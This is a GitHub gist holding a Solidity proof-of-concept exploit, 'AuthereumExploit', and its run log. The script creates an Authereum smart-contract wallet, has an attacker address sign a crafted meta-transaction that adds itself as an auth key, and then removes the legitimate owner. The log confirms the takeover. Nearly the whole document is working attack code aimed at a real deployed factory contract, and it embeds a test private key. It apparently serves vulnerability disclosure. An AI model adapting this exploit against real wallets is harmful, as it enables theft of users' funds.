Skip to content

Instantly share code, notes, and snippets.

@samczsun
Created February 19, 2020 04:46
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save samczsun/bbb53e50900e53b659bb2fe16ce51a1e to your computer and use it in GitHub Desktop.
Save samczsun/bbb53e50900e53b659bb2fe16ce51a1e to your computer and use it in GitHub Desktop.
[#] running script "AuthereumExploit"
[#] current block is 9504523
[#] running "create wallet" as 0xA80000228CF1a6d4D267Aa7EA2Ba5841d1952d1c with 0.000000000000000000 ether
[wallet-creator] created new wallet 0x7e22846B3Af7Ff0CA209101DF0E06ee15c61e833
[#] finished running "create wallet"
[#] running "test ownership" as 0x8f11F8da4d7547d1b00776C6b7Ae3eC53F2A6dB3 with 0.000000000000000000 ether
[ownership-tester] is the owner authed? true
[ownership-tester] is the hacker authed? false
[#] finished running "test ownership"
[#] running "prepare exploit" as 0x32993258F4Bb0f00e3C25cF00a9b490BF86509D8 with 0.000000000000000000 ether
[hacker] please sign the following hash: 0xaea40ac40991c4bdd045f10e90618d19255de1ff48d1f4a83f5a086ceaf81ea0
[#] finished running "prepare exploit"
[#] running "steal wallet" as 0x32993258F4Bb0f00e3C25cF00a9b490BF86509D8 with 0.000000000000000000 ether
[hacker] executing meta transaction
[hacker] removing owner as authkey
[#] finished running "steal wallet"
[#] running "test ownership" as 0x8f11F8da4d7547d1b00776C6b7Ae3eC53F2A6dB3 with 0.000000000000000000 ether
[ownership-tester] is the owner authed? false
[ownership-tester] is the hacker authed? true
[#] finished running "test ownership"
pragma solidity ^0.5.0;
pragma experimental ABIEncoderV2;
import "./script.sol";
contract AuthereumFactoryLike {
function createProxy(uint256 salt, string memory label, bytes[] memory initData) public returns (AuthereumWalletLike);
}
contract AuthereumWalletLike {
function initializeV1(address) public;
function addAuthKey(address) public;
function removeAuthKey(address) public;
function authKeys(address) public returns (bool);
function nonce() public returns (uint);
function getChainId() public returns (uint);
function executeMultipleAuthKeyMetaTransactions(
bytes[] memory _transactions,
uint256 _gasPrice,
uint256 _gasOverhead,
address _feeTokenAddress,
uint256 _feeTokenRate,
bytes memory _transactionMessageHashSignature
) public returns (bytes[] memory);
}
contract AuthereumExploit is script {
AuthereumFactoryLike private constant FACTORY = AuthereumFactoryLike(0x69c0047531FD1cc24dAa9Eccd221Cb66b53c63f8);
address private constant FACTORY_OWNER = 0xA80000228CF1a6d4D267Aa7EA2Ba5841d1952d1c;
address private constant WALLET_OWNER = 0xDeaDbeefdEAdbeefdEadbEEFdeadbeEFdEaDbeeF;
// private key = 369acbb9f2465fd864eb7458e45d16ff0d47b347b227797a766980c970aeb40e
address private constant HACKER = 0x32993258F4Bb0f00e3C25cF00a9b490BF86509D8;
// signed by the hacker's private key
bytes private constant SIGNATURE = hex"274a0272b7dc3e465a7729bfc8b5e57bbf2e2e0a58e223680350564bbea20b7c7a3050f1ba533673dca92342f058ea178b7fecca02efa30a4b9ff082c7b086aa1c";
AuthereumWalletLike private wallet;
bytes[] private exploitTransactions;
function setup() public {
}
function run() public {
run("create wallet", this.createWallet)
.withCaller(FACTORY_OWNER);
run("test ownership", this.testOwnership);
run("prepare exploit", this.prepareExploit)
.withCaller(HACKER);
run("steal wallet", this.stealWallet)
.withCaller(HACKER);
run("test ownership", this.testOwnership);
}
function createWallet() external {
sys.setName("wallet-creator");
bytes[] memory initData = new bytes[](1);
initData[0] = abi.encodeWithSelector(wallet.initializeV1.selector, WALLET_OWNER);
wallet = FACTORY.createProxy(uint(WALLET_OWNER), "exploit", initData);
fmt.printf("created new wallet %a\n", abi.encode(wallet));
}
function testOwnership() external {
sys.setName("ownership-tester");
fmt.printf("is the owner authed? %b\n", abi.encode(wallet.authKeys(WALLET_OWNER)));
fmt.printf("is the hacker authed? %b\n", abi.encode(wallet.authKeys(HACKER)));
}
function prepareExploit() external {
sys.setName("hacker");
bytes memory exploitData = abi.encodeWithSelector(wallet.addAuthKey.selector, HACKER);
bytes memory exploitTransaction = abi.encode(wallet, 0, uint(-1), exploitData);
exploitTransactions.push(exploitTransaction);
bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", keccak256(abi.encode(
address(wallet),
wallet.executeMultipleAuthKeyMetaTransactions.selector,
wallet.getChainId(),
wallet.nonce(),
exploitTransactions,
uint(0),
uint(0),
address(0),
uint(0)
))));
fmt.printf("please sign the following hash: %32x\n", abi.encode(hash));
}
function stealWallet() external {
sys.setName("hacker");
if (SIGNATURE.length == 0) {
revert("no signature set");
}
fmt.print("executing meta transaction\n");
wallet.executeMultipleAuthKeyMetaTransactions(
exploitTransactions,
0,
0,
address(0),
0,
SIGNATURE
);
fmt.print("removing owner as authkey\n");
wallet.removeAuthKey(WALLET_OWNER);
}
}
@howardpen9
Copy link

COOL

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment